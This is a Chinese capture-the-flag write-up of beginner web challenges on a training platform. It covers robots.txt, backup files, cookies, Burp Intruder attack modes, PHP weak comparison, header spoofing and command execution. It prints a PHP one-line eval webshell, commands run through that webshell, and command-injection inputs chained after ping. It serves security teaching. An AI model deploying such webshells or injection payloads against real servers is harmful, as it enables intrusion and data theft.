攻防世界Web刷题记录(新手区)
1.ViewSource
题如其名
Fn + F12
2.get post
3.robots
robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
于是扫描根目录:
4.backup
打开:
常见的备份文件后缀名有: .git .svn .swp .~ .bak .bash_history .bkf
如111.200.241.244:33798/index.php.bak
5.Cookie
Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理。
那么cookie在哪里?
访问http://111.198.29.45:47911/cookie.php
,提示查看http响应包,在网络一栏,可看到访问cookie.php的数据包
点击查看数据包,在消息头内可发现flag
6.disabled_button
按钮按不下去,查看源码
input标签有个disable属性
disabled 属性规定应该禁用的
<input>
元素。被禁用的 input 元素是无法使用和无法点击的。
删除源码中的disable属性,按钮即可点击,然后得到Flag。
7.weak_auth
小宁写了一个登陆验证页面,随手就设了一个密码,猜测用户名为admin,密码为123456
得到flag
Burpsuite解法:
随便输入密码,用bp截下发送过去的数据包
发送到Intruder,设定payload
结果:
Burpsuite四种攻击类型:
一 、Sniper模式
Sniper模式使用一组payload集合,它一次只使用一个payload位置,假设你标记了两个位置“A”和“B”,payload值为“1”和“2”,那么它攻击会形成以下组合(除原始数据外):
攻击序列 | 位置A | 位置B |
---|---|---|
1 | 1 | no replace |
2 | 2 | no replace |
3 | no replace | 1 |
4 | no replace | 2 |
这种模式主要适用于:竞争条件测试(选择Null payloads),密码、验证码暴力破解,重放攻击等场景。
二、Battering ram模式
Battering ram模式与狙击手模式类似的地方是,同样只使用一个payload集合,不同的地方在于每次攻击都是替换所有payload标记位置,而狙击手模式每次只能替换一个payload标记位置。
攻击序列 | 位置1 | 位置2 |
---|---|---|
1 | payload1 | payload1 |
2 | payload2 | payload2 |
这种模式主要适用于:撞裤。
三、Pitchfork模式
草叉模式允许使用多组payload组合,在每个标记位置上遍历所有payload组合,假设有两个位置“A”和“B”,payload组合1的值为“1”和“2”,payload组合2的值为“3”和“4”,则攻击模式如下:
攻击序列 | 位置A | 位置B |
---|---|---|
1 | payload1 | payload3 |
2 | payload2 | payload4 |
这种模式主要适用于:恶意注册。
四、Cluster bomb模式
集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积,还是上面的例子,如果用集束炸弹模式进行攻击,则除baseline请求外,会有四次请求:
攻击序列 | 位置A | 位置B |
---|---|---|
1 | payload1 | payload3 |
2 | payload1 | payload4 |
3 | payload2 | payload3 |
4 | payload2 | payload4 |
8.simple_php
考点:
“php" == 0结果为TRUE,故“php” == 0 and "php"为TRUE,此处php可为其他任意字符串
第二处考点类似,填入b=1235a即可绕过
is_numeric() 函数用于检测变量是否为数字或数字字符串。
php弱类型比较小结
php中有两种比较的符号 == 与 ===
1 <?php
2 $a = $b ;
3 $a===$b ;
4 ?>
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
这里明确了说如果一个数值和字符串进行比较的时候,会将字符串转换成数值
1 <?php
2 var_dump("admin"==0); //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true
7 ?> //上述代码可自行测试
1 观察上述代码,"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等
2 "1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0,为什么呢?见下
3 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
对于上述的问题我查了php手册
当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1 <?php
2 $test=1 + "10.5"; // $test=11.5(float)
3 $test=1+"-1.3e3"; //$test=-1299(float)
4 $test=1+"bob-1.3e3";//$test=1(int)
5 $test=1+"2admin";//$test=3(int)
6 $test=1+"admin2";//$test=1(int)
7 ?>
所以就解释了"admin1"==1 =>False 的原因
9.xff_referer
点开看到:
XFF漏洞也称为IP欺骗。
有些服务器通过XFF头判断是否是本地服务器,当判断为本地服务器时,才能访问相关内容。
如:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1
故:修改XFF头的信息,即可绕过服务器的过滤。
右键发送到repeater,并在包尾添加X-Forwarded-For: 123.123.123.123,发送
收到回应:必须来自https://www.google.com
在包尾添加:Referer: https://www.google.com
得到flag:
10.Webshell
前情提要:一句话木马工作原理
<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。
实例:
<?php @eval($_POST['shell']);?>
将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();
解法1:使用HackBar
POST:shell=system("find / -name 'flag*'");//在系统中查找名字中带有flag的文件并显示路径
继续POST:shell= system(“cat /var/www/html/flag.txt”);
得到flag:
解法2:使用Burpsuite
同理,拦截到页面请求,将其转到Repeater,并在最下方加入请求参数:shell = system(“find / -name ‘flag*’”);
查看Response,最下方有目标文件路径:
修改Repeater中的请求参数为:shell= system(“cat /var/www/html/flag.txt”);
查看Respond中的flag:
解法3:使用蚁剑
如图所示
连接后即可看到flag
11.command_execution
本题考的是命令执行漏洞方面的知识。
首先,我们要知道命令执行漏洞是什么:
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
比如题目中,直接把用户输入的参数不经过过滤直接放在ping命令之后,而恶意攻击者可以在输入的参数中用&&截断,而执行下一个恶意命令
常见的连接符有:
常见连接符 | 举例 | 效果 |
---|---|---|
; | A;B | 先执行A,再执行B |
& | A&B | 简单拼接,A B之间无制约关系 |
| | A|B | 显示B的执行结果 |
&& | A&&B | A执行成功,然后才会执行B |
|| | A||B | A执行失败,然后才会执行B |
ping本机,有回显:
再输入:127.0.0.1 && find / -name "flag*"
相当于ping -c 127.0.0.1 && find / -name "flag*";在成功执行ping 127.0.0.1命令后,执行在本地找flag的指令
于是cat flag:
输入127.0.0.1 && cat "/home/flag.txt",得到flag:
12.simple_js
输错密码,检查元素,发现js代码
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";//FAUX PASSWORD HAHA
var tab = pass_enc.split(',');//split() 方法用于把一个字符串分割成字符串数组。
var tab2 = pass.split(',');
var i,j,k,l=0,m,n,o,p = "";
i = 0;
j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
p += String.fromCharCode((o = tab2[i]));
if(i == 5)
break;
}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
发现无论输入什么密码,都会提示FAUX PASSWORD HAHA
由于String["fromCharCode"](xxx)
和String.fromCharCode(xxx)
是一样的
所以那段话就是将一串16进制转成ascii码再转成字符,即得到flag